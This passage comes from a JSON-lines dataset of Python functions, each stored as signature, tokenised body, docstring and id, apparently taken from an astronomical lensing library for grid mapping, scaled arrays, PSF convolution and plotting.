fifth value of the 1D array maps to the pixel [1,1] of the 2D array.\n\n    Parameters\n     ----------\n    array_1d : ndarray\n        The 1D array of values which are mapped to a 2D array.\n    shape : (int, int)\n        The shape of the 2D array which the pixels are defined on.\n    one_to_two : ndarray\n        An array describing the 2D array index that every 1D array index maps too.\n\n    Returns\n    --------\n    ndarray\n        A 2D array of values mapped from the 1D array with dimensions shape.\n\n    Examples\n    --------\n    one_to_two = np.array([[0,1], [1,0], [1,1], [1,2], [2,1]])\n\n    array_1d = np.array([[2.0, 4.0, 5.0, 6.0, 8.0])\n\n    array_2d = map_masked_1d_array_to_2d_array_from_array_1d_shape_and_one_to_two(array_1d=array_1d, shape=(3,3),\n                                                                                  one_to_two=one_to_two)", "id": "f5995:m4"}
{"signature": "@decorator_util.jit()<EOL>def map_unmasked_1d_array_to_2d_array_from_array_1d_and_shape(array_1d, shape):", "body": "array_2d = np.zeros(shape)<EOL>index = <NUM_LIT:0><EOL>for y in range(shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(shape[<NUM_LIT:1>]):<EOL><INDENT>array_2d[y, x] = array_1d[index]<EOL>index += <NUM_LIT:1><EOL><DEDENT><DEDENT>return array_2d<EOL>", "docstring": "For a 1D array that was flattened from a 2D array of shape (rows, columns), map its values back to the \\\n    original 2D array.\n\n    The pixel coordinate origin is at the top left corner of the 2D array and goes right-wards and downwards, such\n    that for an array of shape (3,3):\n\n    - pixel 0 of the 1D array will correspond to index [0,0] of the 2D array.\n    - pixel 1 of the 1D array will correspond to index [0,1] of the 2D array.\n    - pixel 4 of the 1D array will correspond to index [1,0] of the 2D array.\n\n    Parameters\n     ----------\n    array_1d : ndarray\n        The 1D array of values which are mapped to a 2D array.\n    shape : (int, int)\n        The shape of the 2D array which the pixels are defined on.\n\n    Returns\n    --------\n    ndarray\n        A 2D array of values mapped from the 1D array with dimensions (shape).\n\n    Examples\n    --------\n    one_to_two = np.array([[0,1], [1,0], [1,1], [1,2], [2,1]])\n\n    array_1d = np.array([[2.0, 4.0, 5.0, 6.0, 8.0])\n\n    array_2d = map_masked_1d_array_to_2d_array_from_array_1d_shape_and_one_to_two(array_1d=array_1d, shape=(3,3),\n                                                                                  one_to_two=one_to_two)", "id": "f5995:m5"}
{"signature": "@decorator_util.jit()<EOL>def sparse_to_unmasked_sparse_from_mask_and_pixel_centres(total_sparse_pixels, mask,<EOL>unmasked_sparse_grid_pixel_centres):", "body": "pix_to_full_pix = np.zeros(total_sparse_pixels)<EOL>pixel_index = <NUM_LIT:0><EOL>for full_pixel_index in range(unmasked_sparse_grid_pixel_centres.shape[<NUM_LIT:0>]):<EOL><INDENT>y = unmasked_sparse_grid_pixel_centres[full_pixel_index, <NUM_LIT:0>]<EOL>x = unmasked_sparse_grid_pixel_centres[full_pixel_index, <NUM_LIT:1>]<EOL>if not mask[y, x]:<EOL><INDENT>pix_to_full_pix[pixel_index] = full_pixel_index<EOL>pixel_index += <NUM_LIT:1><EOL><DEDENT><DEDENT>return pix_to_full_pix<EOL>", "docstring": "Determine the mapping between every masked pixelization-grid pixel and pixelization-grid pixel. This is\n    performed by checking whether each pixelization-grid pixel is within the regular-masks, and mapping the indexes.\n\n    Parameters\n    -----------\n    total_sparse_pixels : int\n        The total number of pixels in the pixelization grid which fall within the regular-masks.\n    mask : ccd.masks.Mask\n        The regular-masks within which pixelization pixels must be inside\n    unmasked_sparse_grid_pixel_centres : ndarray\n        The centres of the unmasked pixelization grid pixels.", "id": "f5995:m6"}
{"signature": "@decorator_util.jit()<EOL>def unmasked_sparse_to_sparse_from_mask_and_pixel_centres(mask, unmasked_sparse_grid_pixel_centres,<EOL>total_sparse_pixels):", "body": "total_unmasked_sparse_pixels = unmasked_sparse_grid_pixel_centres.shape[<NUM_LIT:0>]<EOL>unmasked_sparse_to_sparse = np.zeros(total_unmasked_sparse_pixels)<EOL>pixel_index = <NUM_LIT:0><EOL>for unmasked_sparse_pixel_index in range(total_unmasked_sparse_pixels):<EOL><INDENT>y = unmasked_sparse_grid_pixel_centres[unmasked_sparse_pixel_index, <NUM_LIT:0>]<EOL>x = unmasked_sparse_grid_pixel_centres[unmasked_sparse_pixel_index, <NUM_LIT:1>]<EOL>unmasked_sparse_to_sparse[unmasked_sparse_pixel_index] = pixel_index<EOL>if not mask[y, x]:<EOL><INDENT>if pixel_index < total_sparse_pixels - <NUM_LIT:1>:<EOL><INDENT>pixel_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return unmasked_sparse_to_sparse<EOL>", "docstring": "Determine the mapping between every pixelization-grid pixel and masked pixelization-grid pixel. This is\n    performed by checking whether each pixelization-grid pixel is within the regular-masks, and mapping the indexes.\n\n    Pixelization pixels are paired with the next masked pixel index. This may mean that a pixel is not paired with a\n    pixel near it, if the next pixel is on the next row of the grid. This is not a problem, as it is only\n    unmasked pixels that are referened when computing image_to_pix, which is what this array is used for.\n\n    Parameters\n    -----------\n    total_sparse_pixels : int\n        The total number of pixels in the pixelization grid which fall within the regular-masks.\n    mask : ccd.masks.Mask\n        The regular-masks within which pixelization pixels must be inside\n    unmasked_sparse_grid_pixel_centres : ndarray\n        The centres of the unmasked pixelization grid pixels.", "id": "f5995:m7"}
{"signature": "@decorator_util.jit()<EOL>def regular_to_sparse_from_sparse_mappings(regular_to_unmasked_sparse, unmasked_sparse_to_sparse):", "body": "total_regular_pixels = regular_to_unmasked_sparse.shape[<NUM_LIT:0>]<EOL>regular_to_sparse = np.zeros(total_regular_pixels)<EOL>for regular_index in range(total_regular_pixels):<EOL><INDENT>regular_to_sparse[regular_index] = unmasked_sparse_to_sparse[regular_to_unmasked_sparse[regular_index]]<EOL><DEDENT>return regular_to_sparse<EOL>", "docstring": "Using the mapping between the regular-grid and unmasked pixelization grid, compute the mapping between each regular\n    pixel and the masked pixelization grid.\n\n    Parameters\n    -----------\n    regular_to_unmasked_sparse : ndarray\n        The index mapping between every regular-pixel and masked pixelization pixel.\n    unmasked_sparse_to_sparse : ndarray\n        The index mapping between every masked pixelization pixel and unmasked pixelization pixel.", "id": "f5995:m8"}
{"signature": "@decorator_util.jit()<EOL>def sparse_grid_from_unmasked_sparse_grid(unmasked_sparse_grid, sparse_to_unmasked_sparse):", "body": "total_pix_pixels = sparse_to_unmasked_sparse.shape[<NUM_LIT:0>]<EOL>pix_grid = np.zeros((total_pix_pixels, <NUM_LIT:2>))<EOL>for pixel_index in range(total_pix_pixels):<EOL><INDENT>pix_grid[pixel_index, <NUM_LIT:0>] = unmasked_sparse_grid[sparse_to_unmasked_sparse[pixel_index], <NUM_LIT:0>]<EOL>pix_grid[pixel_index, <NUM_LIT:1>] = unmasked_sparse_grid[sparse_to_unmasked_sparse[pixel_index], <NUM_LIT:1>]<EOL><DEDENT>return pix_grid<EOL>", "docstring": "Use the central arc-second coordinate of every unmasked pixelization grid's pixels and mapping between each\n    pixelization pixel and unmasked pixelization pixel to compute the central arc-second coordinate of every masked\n    pixelization grid pixel.\n\n    Parameters\n    -----------\n    unmasked_sparse_grid : ndarray\n        The (y,x) arc-second centre of every unmasked pixelization grid pixel.\n    sparse_to_unmasked_sparse : ndarray\n        The index mapping between every pixelization pixel and masked pixelization pixel.", "id": "f5995:m9"}
{"signature": "@property<EOL><INDENT>def yticks(self):<DEDENT>", "body": "return np.linspace(self.arc_second_minima[<NUM_LIT:0>], self.arc_second_maxima[<NUM_LIT:0>], <NUM_LIT:4>)<EOL>", "docstring": "Compute the yticks labels of this grid, used for plotting the y-axis ticks when visualizing an image-grid", "id": "f5996:c0:m3"}
{"signature": "@property<EOL><INDENT>def xticks(self):<DEDENT>", "body": "return np.linspace(self.arc_second_minima[<NUM_LIT:1>], self.arc_second_maxima[<NUM_LIT:1>], <NUM_LIT:4>)<EOL>", "docstring": "Compute the xticks labels of this grid, used for plotting the x-axis ticks when visualizing an image-grid", "id": "f5996:c0:m4"}
{"signature": "def grid_arcsec_to_grid_pixels(self, grid_arcsec):", "body": "return grid_util.grid_arcsec_1d_to_grid_pixels_1d(grid_arcsec_1d=grid_arcsec, shape=self.shape,<EOL>pixel_scales=self.pixel_scales, origin=self.origin)<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel values. Pixel coordinates are \\\n        returned as floats such that they include the decimal offset from each pixel's top-left corner.\n\n        The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n        highest y arc-second coordinate value and lowest x arc-second coordinate.\n\n        The arc-second coordinate origin is defined by the class attribute origin, and coordinates are shifted to this \\\n        origin before computing their 1D grid pixel indexes.\n\n        Parameters\n        ----------\n        grid_arcsec: ndarray\n            A grid of (y,x) coordinates in arc seconds.", "id": "f5996:c1:m3"}
{"signature": "def grid_arcsec_to_grid_pixel_centres(self, grid_arcsec):", "body": "return grid_util.grid_arcsec_1d_to_grid_pixel_centres_1d(grid_arcsec_1d=grid_arcsec,<EOL>shape=self.shape,<EOL>pixel_scales=self.pixel_scales,<EOL>origin=self.origin).astype('<STR_LIT:int>')<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel values. Pixel coordinates are \\\n        returned as integers such that they map directly to the pixel they are contained within.\n\n        The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n        higher y arc-second coordinate value and lowest x arc-second coordinate.\n\n        The arc-second coordinate origin is defined by the class attribute origin, and coordinates are shifted to this \\\n        origin before computing their 1D grid pixel indexes.\n\n        Parameters\n        ----------\n        grid_arcsec: ndarray\n            The grid of (y,x) coordinates in arc seconds.", "id": "f5996:c1:m4"}
{"signature": "def grid_arcsec_to_grid_pixel_indexes(self, grid_arcsec):", "body": "return grid_util.grid_arcsec_1d_to_grid_pixel_indexes_1d(grid_arcsec_1d=grid_arcsec,<EOL>shape=self.shape,<EOL>pixel_scales=self.pixel_scales,<EOL>origin=self.origin).astype('<STR_LIT:int>')<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel 1D indexes. Pixel coordinates are \\\n        returned as integers such that they are the pixel from the top-left of the 2D grid going rights and then \\\n        downwards.\n\n        For example:\n\n        The pixel at the top-left, whose 2D index is [0,0], corresponds to 1D index 0.\n        The fifth pixel on the top row, whose 2D index is [0,5], corresponds to 1D index 4.\n        The first pixel on the second row, whose 2D index is [0,1], has 1D index 10 if a row has 10 pixels.\n\n        The arc-second coordinate origin is defined by the class attribute origin, and coordinates are shifted to this \\\n        origin before computing their 1D grid pixel indexes.\n\n        Parameters\n        ----------\n        grid_arcsec: ndarray\n            The grid of (y,x) coordinates in arc seconds.", "id": "f5996:c1:m5"}
{"signature": "def grid_pixels_to_grid_arcsec(self, grid_pixels):", "body": "return grid_util.grid_pixels_1d_to_grid_arcsec_1d(grid_pixels_1d=grid_pixels, shape=self.shape,<EOL>pixel_scales=self.pixel_scales, origin=self.origin)<EOL>", "docstring": "Convert a grid of (y,x) pixel coordinates to a grid of (y,x) arc second values.\n\n        The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n        higher y arc-second coordinate value and lowest x arc-second coordinate.\n\n        The arc-second coordinate origin is defined by the class attribute origin, and coordinates are shifted to this \\\n        origin before computing their 1D grid pixel indexes.\n\n        Parameters\n        ----------\n        grid_pixels : ndarray\n            The grid of (y,x) coordinates in pixels.", "id": "f5996:c1:m6"}
{"signature": "@property<EOL><INDENT>def grid_1d(self):<DEDENT>", "body": "return grid_util.regular_grid_1d_from_shape_pixel_scales_and_origin(shape=self.shape,<EOL>pixel_scales=self.pixel_scales,<EOL>origin=self.origin)<EOL>", "docstring": "The arc second-grid of (y,x) coordinates of every pixel.\n\n        This is defined from the top-left corner, such that the first pixel at location [0, 0] will have a negative x \\\n        value y value in arc seconds.", "id": "f5996:c1:m7"}
{"signature": "@property<EOL><INDENT>def grid_2d(self):<DEDENT>", "body": "return grid_util.regular_grid_2d_from_shape_pixel_scales_and_origin(shape=self.shape,<EOL>pixel_scales=self.pixel_scales,<EOL>origin=self.origin)<EOL>", "docstring": "The arc second-grid of (y,x) coordinates of every pixel.\n\n        This is defined from the top-left corner, such that the first pixel at location [0, 0] will have a negative x \\\n        value y value in arc seconds.", "id": "f5996:c1:m8"}
{"signature": "def new_with_array(self, array):", "body": "arguments = vars(self)<EOL>arguments.update({\"<STR_LIT>\": array})<EOL>if '<STR_LIT>' in arguments:<EOL><INDENT>arguments.pop(\"<STR_LIT>\")<EOL><DEDENT>return self.__class__(**arguments)<EOL>", "docstring": "Parameters\n----------\narray: ndarray\n    An ndarray\n\nReturns\n-------\nnew_array: ScaledSquarePixelArray\n    A new instance of this class that shares all of this instances attributes with a new ndarray.", "id": "f5996:c2:m4"}
{"signature": "@classmethod<EOL><INDENT>def from_fits(cls, file_path, hdu):<DEDENT>", "body": "return cls(array_util.numpy_array_2d_from_fits(file_path, hdu))<EOL>", "docstring": "Loads the image from a .fits file.\n\nParameters\n----------\nfile_path : str\n    The full path of the fits file.\nhdu : int\n    The HDU number in the fits file containing the image image.", "id": "f5996:c2:m5"}
{"signature": "def __init__(self, array):", "body": "<EOL>super(ScaledArray, self).__init__()<EOL>", "docstring": "A scaled-array is a 2D array with a pixel-scale, such that all pixels on the array has associated with \\\n        them arc-second coordinates.\n\n        Parameters\n        ----------\n        array: ndarray\n            An array representing image (e.g. an image, noise-map, etc.)\n        origin : (float, float)\n            The arc-second origin of the scaled array's coordinate system.", "id": "f5996:c3:m0"}
{"signature": "def __init__(self, array, pixel_scale, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "pixel_scale_sanity_checks(pixel_scales=(pixel_scale, pixel_scale))<EOL>self.pixel_scale = pixel_scale<EOL>self.origin = origin<EOL>super(ScaledSquarePixelArray, self).__init__(array=array)<EOL>", "docstring": "A scaled array with square-pixels.\n\n        Parameters\n        ----------\n        array: ndarray\n            An array representing image (e.g. an image, noise-map, etc.)\n        pixel_scale: float\n            The arc-second to pixel conversion factor of each pixel.\n        origin : (float, float)\n            The arc-second origin of the scaled array's coordinate system.", "id": "f5996:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_fits_with_pixel_scale(cls, file_path, hdu, pixel_scale, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):<DEDENT>", "body": "return cls(array_util.numpy_array_2d_from_fits(file_path, hdu), pixel_scale, origin)<EOL>", "docstring": "Loads the image from a .fits file.\n\nParameters\n----------\nfile_path : str\n    The full path of the fits file.\nhdu : int\n    The HDU number in the fits file containing the image image.\npixel_scale: float\n    The arc-second to pixel conversion factor of each pixel.", "id": "f5996:c4:m3"}
{"signature": "@classmethod<EOL><INDENT>def single_value(cls, value, shape, pixel_scale, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):<DEDENT>", "body": "array = np.ones(shape) * value<EOL>return cls(array, pixel_scale, origin)<EOL>", "docstring": "Creates an instance of Array and fills it with a single value\n\nParameters\n----------\nvalue: float\n    The value with which the array should be filled\nshape: (int, int)\n    The shape of the array\npixel_scale: float\n    The scale of a pixel in arc seconds\n\nReturns\n-------\narray: ScaledSquarePixelArray\n    An array filled with a single value", "id": "f5996:c4:m4"}
{"signature": "def flatten(self, order='<STR_LIT:C>'):", "body": "return self.new_with_array(super(ScaledSquarePixelArray, self).flatten(order))<EOL>", "docstring": "Returns\n-------\nflat_scaled_array: ScaledSquarePixelArray\n    A copy of this array flattened to 1D", "id": "f5996:c4:m5"}
{"signature": "def zoomed_scaled_array_around_mask(self, mask, buffer=<NUM_LIT:1>):", "body": "return self.new_with_array(array=array_util.extracted_array_2d_from_array_2d_and_coordinates(<EOL>array_2d=self,  y0=mask.zoom_region[<NUM_LIT:0>]-buffer, y1=mask.zoom_region[<NUM_LIT:1>]+buffer,<EOL>x0=mask.zoom_region[<NUM_LIT:2>]-buffer, x1=mask.zoom_region[<NUM_LIT:3>]+buffer))<EOL>", "docstring": "Extract the 2D region of an array corresponding to the rectangle encompassing all unmasked values.\n\n        This is used to extract and visualize only the region of an image that is used in an analysis.\n\n        Parameters\n        ----------\n        mask : mask.Mask\n            The mask around which the scaled array is extracted.\n        buffer : int\n            The buffer of pixels around the extraction.", "id": "f5996:c4:m7"}
{"signature": "def resized_scaled_array_from_array(self, new_shape, new_centre_pixels=None, new_centre_arcsec=None):", "body": "if new_centre_pixels is None and new_centre_arcsec is None:<EOL><INDENT>new_centre = (-<NUM_LIT:1>, -<NUM_LIT:1>)  <EOL><DEDENT>elif new_centre_pixels is not None and new_centre_arcsec is None:<EOL><INDENT>new_centre = new_centre_pixels<EOL><DEDENT>elif new_centre_pixels is None and new_centre_arcsec is not None:<EOL><INDENT>new_centre = self.arc_second_coordinates_to_pixel_coordinates(arc_second_coordinates=new_centre_arcsec)<EOL><DEDENT>else:<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return self.new_with_array(array=array_util.resized_array_2d_from_array_2d_and_resized_shape(<EOL>array_2d=self, resized_shape=new_shape, origin=new_centre))<EOL>", "docstring": "resized the array to a new shape and at a new origin.\n\n        Parameters\n        -----------\n        new_shape : (int, int)\n            The new two-dimensional shape of the array.", "id": "f5996:c4:m8"}
{"signature": "def __init__(self, array, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "pixel_scale_sanity_checks(pixel_scales=pixel_scales)<EOL>self.pixel_scales = pixel_scales<EOL>self.origin = origin<EOL>super(ScaledRectangularPixelArray, self).__init__(array=array)<EOL>", "docstring": "Parameters\n----------\narray: ndarray\n    An array representing image (e.g. an image, noise-map, etc.)\npixel_scales : (float, float)\n    The arc-second to pixel conversion factor of each pixel.\norigin : (float, float)\n    The arc-second origin of the scaled array's coordinate system.", "id": "f5996:c5:m0"}
{"signature": "@classmethod<EOL><INDENT>def single_value(cls, value, shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):<DEDENT>", "body": "array = np.ones(shape) * value<EOL>return cls(array, pixel_scales, origin=origin)<EOL>", "docstring": "Creates an instance of Array and fills it with a single value\n\nParameters\n----------\nvalue: float\n    The value with which the array should be filled\nshape: (int, int)\n    The shape of the array\npixel_scales: (float, float)\n    The scale of a pixel in arc seconds\n\nReturns\n-------\narray: ScaledSquarePixelArray\n    An array filled with a single value", "id": "f5996:c5:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_fits_with_pixel_scale(cls, file_path, hdu, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):<DEDENT>", "body": "return cls(array_util.numpy_array_2d_from_fits(file_path, hdu), pixel_scales, origin)<EOL>", "docstring": "Loads the image from a .fits file.\n\nParameters\n----------\nfile_path : str\n    The full path of the fits file.\nhdu : int\n    The HDU number in the fits file containing the hyper.\npixel_scales: (float, float)\n    The arc-second to pixel conversion factor of each pixel.", "id": "f5996:c5:m3"}
{"signature": "def flatten(self, order='<STR_LIT:C>'):", "body": "return self.new_with_array(super().flatten(order))<EOL>", "docstring": "Returns\n-------\nflat_scaled_array: ScaledSquarePixelArray\n    A copy of this array flattened to 1D", "id": "f5996:c5:m4"}
{"signature": "def __init__(self, mask, psf):", "body": "if psf.shape[<NUM_LIT:0>] % <NUM_LIT:2> == <NUM_LIT:0> or psf.shape[<NUM_LIT:1>] % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>raise exc.KernelException(\"<STR_LIT>\")<EOL><DEDENT>self.mask_index_array = np.full(mask.shape, -<NUM_LIT:1>)<EOL>self.pixels_in_mask = int(np.size(mask) - np.sum(mask))<EOL>count = <NUM_LIT:0><EOL>for x in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for y in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[x, y]:<EOL><INDENT>self.mask_index_array[x, y] = count<EOL>count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>self.psf = psf<EOL>self.psf_shape = psf.shape<EOL>self.psf_max_size = self.psf_shape[<NUM_LIT:0>] * self.psf_shape[<NUM_LIT:1>]<EOL>image_index = <NUM_LIT:0><EOL>self.image_frame_indexes = np.zeros((self.pixels_in_mask, self.psf_max_size), dtype='<STR_LIT:int>')<EOL>self.image_frame_psfs = np.zeros((self.pixels_in_mask, self.psf_max_size))<EOL>self.image_frame_lengths = np.zeros((self.pixels_in_mask), dtype='<STR_LIT:int>')<EOL>for x in range(self.mask_index_array.shape[<NUM_LIT:0>]):<EOL><INDENT>for y in range(self.mask_index_array.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[x][y]:<EOL><INDENT>image_frame_indexes, image_frame_psfs = self.frame_at_coordinates_jit((x, y), mask,<EOL>self.mask_index_array,<EOL>self.psf[:, :])<EOL>self.image_frame_indexes[image_index, :] = image_frame_indexes<EOL>self.image_frame_psfs[image_index, :] = image_frame_psfs<EOL>self.image_frame_lengths[image_index] = image_frame_indexes[image_frame_indexes >= <NUM_LIT:0>].shape[<NUM_LIT:0>]<EOL>image_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Class to create regular frames and blurring frames used to convolve a psf with a 1D regular of non-masked \\\nvalues.\n\nParameters\n----------\nmask : Mask\n    A masks where True eliminates datas.\npsf : regular.PSF or ndarray\n    An array representing a PSF.", "id": "f5998:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>@decorator_util.jit()<EOL>def frame_at_coordinates_jit(coordinates, mask, mask_index_array, psf):<DEDENT>", "body": "psf_shape = psf.shape<EOL>psf_max_size = psf_shape[<NUM_LIT:0>] * psf_shape[<NUM_LIT:1>]<EOL>half_x = int(psf_shape[<NUM_LIT:0>] / <NUM_LIT:2>)<EOL>half_y = int(psf_shape[<NUM_LIT:1>] / <NUM_LIT:2>)<EOL>frame = -<NUM_LIT:1> * np.ones((psf_max_size))<EOL>psf_frame = -<NUM_LIT:1.0> * np.ones((psf_max_size))<EOL>count = <NUM_LIT:0><EOL>for i in range(psf_shape[<NUM_LIT:0>]):<EOL><INDENT>for j in range(psf_shape[<NUM_LIT:1>]):<EOL><INDENT>x = coordinates[<NUM_LIT:0>] - half_x + i<EOL>y = coordinates[<NUM_LIT:1>] - half_y + j<EOL>if <NUM_LIT:0> <= x < mask_index_array.shape[<NUM_LIT:0>] and <NUM_LIT:0> <= y < mask_index_array.shape[<NUM_LIT:1>]:<EOL><INDENT>value = mask_index_array[x, y]<EOL>if value >= <NUM_LIT:0> and not mask[x, y]:<EOL><INDENT>frame[count] = value<EOL>psf_frame[count] = psf[i, j]<EOL>count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return frame, psf_frame<EOL>", "docstring": "Compute the frame (indexes of pixels light is blurred into) and psf_frame (psf kernel values of those \\\n        pixels) for a given coordinate in a masks and its PSF.\n\n        Parameters\n        ----------\n        coordinates: (int, int)\n            The coordinates of mask_index_array on which the frame should be centred\n        psf_shape: (int, int)\n            The shape of the psf for which this frame will be used", "id": "f5998:c0:m1"}
{"signature": "def __init__(self, mask, blurring_mask, psf):", "body": "if mask.shape != blurring_mask.shape:<EOL><INDENT>raise exc.KernelException(\"<STR_LIT>\")<EOL><DEDENT>super(ConvolverImage, self).__init__(mask, psf)<EOL>blurring_mask = blurring_mask<EOL>self.pixels_in_blurring_mask = int(np.size(blurring_mask) - np.sum(blurring_mask))<EOL>image_index = <NUM_LIT:0><EOL>self.blurring_frame_indexes = np.zeros((self.pixels_in_blurring_mask, self.psf_max_size), dtype='<STR_LIT:int>')<EOL>self.blurring_frame_psfs = np.zeros((self.pixels_in_blurring_mask, self.psf_max_size))<EOL>self.blurring_frame_lengths = np.zeros((self.pixels_in_blurring_mask), dtype='<STR_LIT:int>')<EOL>for x in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for y in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if mask[x][y] and not blurring_mask[x, y]:<EOL><INDENT>image_frame_indexes, image_frame_psfs = self.frame_at_coordinates_jit((x, y), mask,<EOL>self.mask_index_array, self.psf)<EOL>self.blurring_frame_indexes[image_index, :] = image_frame_indexes<EOL>self.blurring_frame_psfs[image_index, :] = image_frame_psfs<EOL>self.blurring_frame_lengths[image_index] = image_frame_indexes[image_frame_indexes >= <NUM_LIT:0>].shape[<NUM_LIT:0>]<EOL>image_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Class to create regular frames and blurring frames used to convolve a psf with a 1D regular of non-masked \\\n        values.\n\n        Parameters\n        ----------\n        mask : Mask\n            The regular masks, where True eliminates datas.\n        blurring_mask : Mask\n            A masks of pixels outside the masks but whose light blurs into it after PSF convolution.\n        psf : regular.PSF or ndarray\n            An array representing a PSF.", "id": "f5998:c1:m0"}
{"signature": "def convolve_image(self, image_array, blurring_array):", "body": "return self.convolve_jit(image_array, self.image_frame_indexes, self.image_frame_psfs, self.image_frame_lengths,<EOL>blurring_array, self.blurring_frame_indexes, self.blurring_frame_psfs,<EOL>self.blurring_frame_lengths)<EOL>", "docstring": "For a given 1D regular array and blurring array, convolve the two using this convolver.\n\n        Parameters\n        -----------\n        image_array : ndarray\n            1D array of the regular values which are to be blurred with the convolver's PSF.\n        blurring_array : ndarray\n            1D array of the blurring regular values which blur into the regular-array after PSF convolution.", "id": "f5998:c1:m1"}
{"signature": "def plot_image(<EOL>image, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>should_plot_border=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:30>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT:image>'):", "body": "origin = get_origin(array=image, plot_origin=plot_origin)<EOL>array_plotters.plot_array(<EOL>array=image, origin=origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>should_plot_border=should_plot_border, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the observed image of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    image : ScaledSquarePixelArray\n        The image of the data.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.\n    image_plane_pix_grid : ndarray or data.array.grid_stacks.PixGrid\n        If an adaptive pixelization whose pixels are formed by tracing pixels from the data, this plots those pixels \\\n        over the immage.", "id": "f5999:m0"}
{"signature": "def plot_noise_map(<EOL>noise_map, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "origin = get_origin(array=noise_map, plot_origin=plot_origin)<EOL>array_plotters.plot_array(<EOL>array=noise_map, origin=origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the noise_map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    noise_map : ScaledSquarePixelArray\n        The noise map of the data.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted 